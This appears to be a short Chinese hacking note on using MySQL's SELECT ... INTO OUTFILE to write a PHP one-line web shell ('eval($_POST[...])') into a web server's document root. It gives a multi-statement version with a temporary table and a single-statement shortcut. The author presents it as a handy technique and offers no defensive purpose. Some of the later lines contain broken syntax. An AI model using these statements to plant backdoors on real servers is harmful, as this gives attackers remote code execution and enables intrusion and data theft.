很老的東西了,但是很多時候會派上用場
mysql一句話導出shell
USE test;# MySQL 返回的查詢結果為空(即零行)。
DROP TABLE IF EXISTS hello;# MySQL 返回的查詢結果為空(即零行)。
CREATE TABLE hello(
cmd TEXT NOT NULL
);# MySQL 返回的查詢結果為空(即零行)。
INSERT INTO hello( cmd )
VALUES (
'<?php @eval($_POST['pass']);?>'
);# 影響列數: 1
SELECT cmd
FROM hello
INTO OUTFILE '/home/htdocs/ok.php';# 影響列數: 1(注意正確的路徑)
DROP TABLE IF EXISTS temp;# MySQL 返回的查詢結果為空(即零行)。
Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一個cmd字段
Insert INTO temp (cmd) VALUES('<? php eval($_POST[cmd]);?>'); //把一句話木馬插入到temp表
Select cmd from temp into out file 'd:/wwwroot/1.php'; //查詢temp表中的一句話並把結果導入到eval.php
Drop TABLE IF EXISTS temp; //刪除temp
還有一個思路,可以把上面那一大段導出一句話的SQL代碼可以直接簡化到一句:
Select '<? php eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
這樣做不但簡單明了,而且避免了誤刪別人的數據。